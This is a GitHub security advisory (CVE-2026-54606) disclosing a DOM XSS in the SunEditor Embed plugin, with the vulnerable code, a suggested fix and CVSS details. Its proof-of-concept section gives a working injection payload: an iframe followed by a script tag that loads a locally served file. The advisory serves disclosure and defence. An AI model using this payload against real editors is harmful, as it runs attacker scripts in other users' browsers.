Skip to content

SunEditor Embed Plugin has DOM XSS via External Script Element After Iframe Embed

High severity GitHub Reviewed Published Jun 20, 2026 in JiHong88/suneditor • Updated Oct 30, 2026

Package

npm suneditor (npm)

Affected versions

>= 3.0.0, <= 3.1.3

Patched versions

3.1.4

Description

Summary

A DOM-based Cross-Site Scripting (XSS) vulnerability exists in the SunEditor Embed plugin. Crafted iframe embed HTML followed by an external <script src=...> element bypasses the plugin’s sanitization logic. The plugin recreates and appends the attacker-controlled script element to the live DOM, causing JavaScript execution in the context of the editor page.

If an application stores or reflects SunEditor content without additional backend sanitization, this can lead to stored or reflected XSS when another user opens, previews, renders, or edits the malicious content.

Details

The Embed plugin parses raw embed HTML and processes the resulting DOM nodes. When a <script> element is included after a valid iframe, the plugin creates a new script element using the attacker-controlled src value and appends it to the DOM.

Relevant behavior:

const embedDOM = new DOMParser().parseFromString(src, 'text/html').body.children;
if (/^script$/i.test(chd.nodeName)) {
scriptTag = dom.utils.createElement('script', {
src: chd.getAttribute('src'),
async: 'true'
}, null);
continue;
}
cover.appendChild(scriptTag);

Because the script is newly created and appended, it executes.

PoC

Start a local server hosting a JavaScript payload:

mkdir -p /tmp/suneditor-poc
cd /tmp/suneditor-poc

cat > poc.js <<'EOF'
alert(1);
console.log("SunEditor Embed Plugin XSS executed");
EOF

python3 -m http.server 8000

Open SunEditor with the Embed plugin enabled, then insert the following payload through the Embed modal and save :

<iframe src="https://youtube.com/embed/x"></iframe><script src="http://127.0.0.1:8000/poc.js"></script>
Successful exploitation is confirmed when:

alert(1) appears

or the local server logs:

GET /poc.js

Impact

An attacker who can provide or store embed HTML can execute arbitrary JavaScript in another user’s browser when the content is processed by SunEditor. This may allow account actions as the victim, modification of editor content, or access to sensitive data available in the editor page.

The issue is especially impactful when SunEditor content is stored in a backend and later reopened or rendered for administrators, editors, or other users without additional sanitization.

Suggested Fix

Do not recreate or append script elements from user-controlled embed HTML.

Minimum mitigation:

if (/^script$/i.test(chd.nodeName)) {
  continue;
}

A stronger fix is to allow only expected embed elements such as iframe or blockquote, sanitize their attributes, and discard all other sibling elements.

References

@JiHong88 JiHong88 published to JiHong88/suneditor Jun 20, 2026
Published to the GitHub Advisory Database Aug 26, 2026
Reviewed Aug 26, 2026
Published by the National Vulnerability Database Aug 26, 2026
Last updated Oct 30, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(48th percentile)

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

CVE ID

CVE-2026-54606

GHSA ID

GHSA-w93q-cq9w-58p7

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.